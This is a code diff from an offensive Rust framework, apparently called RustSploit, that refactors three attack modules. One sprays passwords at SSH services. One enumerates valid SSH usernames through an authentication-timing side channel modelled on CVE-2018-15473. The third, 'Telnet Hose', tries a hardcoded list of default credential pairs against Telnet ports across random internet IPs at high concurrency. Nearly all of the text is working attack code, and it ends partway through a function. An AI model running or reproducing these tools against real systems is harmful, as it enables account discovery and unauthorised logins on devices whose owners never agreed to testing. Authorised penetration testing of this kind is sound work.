||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
if usernames.is_empty() || cfg_prompt_yes_no("use_default_usernames", "Also test default usernames?", true).await? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
@@ -466,29 +526,37 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
let threads: usize = cfg_prompt_default("concurrency", "Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", false).await?;
|
||||
|
||||
crate::mprintln!();
|
||||
|
||||
// Run spray
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout, stop_on_success).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt").await?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
if !results.is_empty() && cfg_prompt_yes_no("save_results", "Save results to file?", true).await? {
|
||||
let raw = cfg_prompt_default("output_file", "Output file", "ssh_sweep_results.txt").await?;
|
||||
// Force basename only — no directory traversal
|
||||
let output_path = std::path::Path::new(&raw)
|
||||
.file_name()
|
||||
.map(|n| n.to_string_lossy().to_string())
|
||||
.unwrap_or_else(|| "ssh_sweep_results.txt".to_string());
|
||||
if output_path.is_empty() || output_path.starts_with('.') {
|
||||
crate::mprintln!("{}", "[-] Invalid output filename".red());
|
||||
} else if let Err(e) = save_results(&results, &output_path) {
|
||||
crate::mprintln!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@@ -1,21 +1,31 @@
|
||||
//! SSH User Enumeration Module (Timing Attack)
|
||||
//!
|
||||
//!
|
||||
//! Based on SSHPWN framework - enumerates valid users via timing attack.
|
||||
//! Inspired by CVE-2018-15473 style attacks.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use anyhow::Context;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH User Enumeration (Timing Attack)".to_string(),
|
||||
description: "Enumerates valid SSH usernames via timing-based side-channel attack. Measures authentication response time differences to identify valid accounts, inspired by CVE-2018-15473.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["CVE-2018-15473".to_string()],
|
||||
disclosure_date: Some("2018-08-17".to_string()),
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
@@ -23,16 +33,44 @@ const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
|
||||
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ How it works: ║".cyan());
|
||||
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
|
||||
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
|
||||
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ SSH User Enumeration (Timing Attack) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Based on auth2.c timing differences ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ How it works: ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Measures authentication response time for each username ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Valid users often have different timing than invalid ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Compares against baseline (known invalid user) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
@@ -50,42 +88,52 @@ fn normalize_target(target: &str) -> String {
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
|
||||
let tcp = match crate::utils::blocking_tcp_connect(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
|
||||
let invalid_password = format!(
|
||||
"invalid_{}_{}",
|
||||
std::process::id(),
|
||||
start.elapsed().as_nanos()
|
||||
);
|
||||
let _ = sess.userauth_password(username, &invalid_password);
|
||||
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
|
||||
fn sample_auth_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Option<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
@@ -93,11 +141,11 @@ fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, tim
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
}
|
||||
@@ -115,7 +163,9 @@ fn load_usernames(path: &str) -> Result<Vec<String>> {
|
||||
Ok(usernames)
|
||||
}
|
||||
|
||||
/// Enumerate valid users via timing attack
|
||||
/// Enumerate valid users via timing attack.
|
||||
/// Uses spawn_blocking to avoid blocking the tokio runtime, since
|
||||
/// SSH timing attacks require synchronous I/O for measurement accuracy.
|
||||
pub async fn enumerate_users(
|
||||
host: &str,
|
||||
port: u16,
|
||||
@@ -124,40 +174,96 @@ pub async fn enumerate_users(
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
|
||||
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
|
||||
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
|
||||
println!();
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Testing {} usernames with {} samples each",
|
||||
usernames.len(),
|
||||
samples
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Timing threshold: {:.3}s", threshold).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
let host = host.to_string();
|
||||
let usernames = usernames.to_vec();
|
||||
|
||||
// Run the blocking timing attack in a dedicated thread to avoid starving the runtime
|
||||
let result = tokio::task::spawn_blocking(move || {
|
||||
enumerate_users_blocking(&host, port, &usernames, samples, timeout_secs, threshold)
|
||||
})
|
||||
.await;
|
||||
|
||||
match result {
|
||||
Ok(users) => users,
|
||||
Err(e) => {
|
||||
crate::meprintln!("{}", format!("[-] Enumeration task failed: {}", e).red());
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Synchronous implementation of timing-based user enumeration.
|
||||
fn enumerate_users_blocking(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
// Establish baseline with known-invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline_user = format!(
|
||||
"nonexistent_{}_{}",
|
||||
std::process::id(),
|
||||
Instant::now().elapsed().as_nanos()
|
||||
);
|
||||
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] Failed to establish baseline - cannot reach target".red()
|
||||
);
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
|
||||
for (i, user) in usernames.iter().enumerate() {
|
||||
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
|
||||
crate::mprint!(
|
||||
"\r[{}/{}] Testing: {} ",
|
||||
i + 1,
|
||||
usernames.len(),
|
||||
user
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()
|
||||
);
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
@@ -166,150 +272,171 @@ pub async fn enumerate_users(
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Results ===".cyan().bold());
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Results ===".cyan().bold());
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
|
||||
crate::mprintln!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Note: This technique may not work on all SSH configurations".dimmed()
|
||||
);
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid user(s):", valid_users.len()).green()
|
||||
);
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
crate::mprintln!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
valid_users
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to test
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
"root", "admin", "user", "test", "guest", "ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp", "ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
|
||||
// Mass scan mode: random IPs, target file, or CIDR subnet (all handled concurrently)
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "SSH User Enum",
|
||||
default_port: 22,
|
||||
state_file: "ssh_user_enum_mass_state.log",
|
||||
default_output: "ssh_user_enum_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip: std::net::IpAddr, port: u16| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
// Quick timing test with a few default usernames
|
||||
let host = ip.to_string();
|
||||
let test_users = ["root", "admin", "ubuntu", "test", "user"];
|
||||
let mut valid = Vec::new();
|
||||
// Baseline with known-invalid user
|
||||
let baseline = time_auth_attempt(&host, port, "xyznonexistent12345", 5)?;
|
||||
for user in &test_users {
|
||||
if let Some(elapsed) = time_auth_attempt(&host, port, user, 5) {
|
||||
if (elapsed - baseline).abs() > 0.3 {
|
||||
valid.push(*user);
|
||||
}
|
||||
}
|
||||
}
|
||||
if !valid.is_empty() {
|
||||
let msg = format!("{}:{}:valid_users={}", ip, port, valid.join(","));
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10").await?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3").await?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = cfg_prompt_default("samples", "Samples per username", "3")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
|
||||
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames from file", loaded.len()).cyan()
|
||||
);
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
if usernames.is_empty()
|
||||
|| cfg_prompt_yes_no(
|
||||
"use_default_usernames",
|
||||
"Also test default usernames?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
|
||||
println!();
|
||||
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Will test {} usernames", usernames.len()).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// Run enumeration
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt").await?;
|
||||
let mut file = File::create(&output_path)?;
|
||||
if !valid_users.is_empty()
|
||||
&& cfg_prompt_yes_no("save_results", "Save valid users to file?", true).await?
|
||||
{
|
||||
let output_path =
|
||||
cfg_prompt_default("output_file", "Output file", "valid_ssh_users.txt").await?;
|
||||
let mut file = {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
opts.open(&output_path)?
|
||||
};
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
writeln!(file, "{}", user)?;
|
||||
}
|
||||
println!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
crate::mprintln!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,50 +1,97 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::Arc;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::process::Command;
|
||||
use tokio::sync::Semaphore;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
use crate::utils::{run_mass_scan, MassScanConfig};
|
||||
use crate::utils::{cfg_prompt_output_file, cfg_prompt_yes_no};
|
||||
|
||||
use colored::*;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Telnet Hose (Mass Default Credential Check)".to_string(),
|
||||
description: "Rapidly tests default credentials against Telnet services across large IP ranges. Supports mass scanning with concurrent connections and multiple default port checks.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// Top 3 Telnet Ports
|
||||
const TELNET_PORTS: &[u16] = &[23, 2323, 8023];
|
||||
|
||||
// Default Credentials (Mixed Cartesian Product will be generated from these)
|
||||
const TOP_USERS: &[&str] = &["root", "admin", "user", "support", "guest"];
|
||||
const TOP_PASS: &[&str] = &["root", "admin", "user", "1234", "123456", "password", "password123", "default", "support", "guest", ""];
|
||||
// Default Credentials (user, pass) tuples
|
||||
const TOP_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("root", "admin"),
|
||||
("root", "user"),
|
||||
("root", "1234"),
|
||||
("root", "123456"),
|
||||
("root", "password"),
|
||||
("root", "password123"),
|
||||
("root", "default"),
|
||||
("root", "support"),
|
||||
("root", "guest"),
|
||||
("root", ""),
|
||||
("admin", "root"),
|
||||
("admin", "admin"),
|
||||
("admin", "user"),
|
||||
("admin", "1234"),
|
||||
("admin", "123456"),
|
||||
("admin", "password"),
|
||||
("admin", "password123"),
|
||||
("admin", "default"),
|
||||
("admin", "support"),
|
||||
("admin", "guest"),
|
||||
("admin", ""),
|
||||
("user", "root"),
|
||||
("user", "admin"),
|
||||
("user", "user"),
|
||||
("user", "1234"),
|
||||
("user", "123456"),
|
||||
("user", "password"),
|
||||
("user", "password123"),
|
||||
("user", "default"),
|
||||
("user", "support"),
|
||||
("user", "guest"),
|
||||
("user", ""),
|
||||
("support", "root"),
|
||||
("support", "admin"),
|
||||
("support", "user"),
|
||||
("support", "1234"),
|
||||
("support", "123456"),
|
||||
("support", "password"),
|
||||
("support", "password123"),
|
||||
("support", "default"),
|
||||
("support", "support"),
|
||||
("support", "guest"),
|
||||
("support", ""),
|
||||
("guest", "root"),
|
||||
("guest", "admin"),
|
||||
("guest", "user"),
|
||||
("guest", "1234"),
|
||||
("guest", "123456"),
|
||||
("guest", "password"),
|
||||
("guest", "password123"),
|
||||
("guest", "default"),
|
||||
("guest", "support"),
|
||||
("guest", "guest"),
|
||||
("guest", ""),
|
||||
("1234", "1234"),
|
||||
];
|
||||
|
||||
// Keywords to match in help output (must match at least 2)
|
||||
const HELP_KEYWORDS: &[&str] = &[
|
||||
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command", "menu", "admin"
|
||||
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command",
|
||||
"menu", "admin",
|
||||
];
|
||||
|
||||
// Internal Logic Constants
|
||||
const CONCURRENCY: usize = 500;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 2000;
|
||||
const LOGIN_TIMEOUT_MS: u64 = 6000; // Total time for a login attempt
|
||||
const OUTPUT_FILE: &str = "telnet_hose_results.txt";
|
||||
const STATE_FILE: &str = "telnet_hose_state.log"; // Stores "checked: <ip>"
|
||||
|
||||
#[derive(Debug, PartialEq, Clone, Copy)]
|
||||
enum TelnetState {
|
||||
@@ -58,214 +105,122 @@ enum TelnetState {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "=== Telnet Hose Mass Scanner ===".bold().cyan());
|
||||
println!("Target Mode: {}", if target.is_empty() || target == "random" { "Internet Random" } else { target });
|
||||
println!("Concurrency: {}", CONCURRENCY);
|
||||
println!("Exclusions: Enabled (Private + Cloudflare + Google)");
|
||||
println!("Output: {}", OUTPUT_FILE);
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
// Prepare Credential Combos
|
||||
let mut creds = Vec::new();
|
||||
for u in TOP_USERS {
|
||||
for p in TOP_PASS {
|
||||
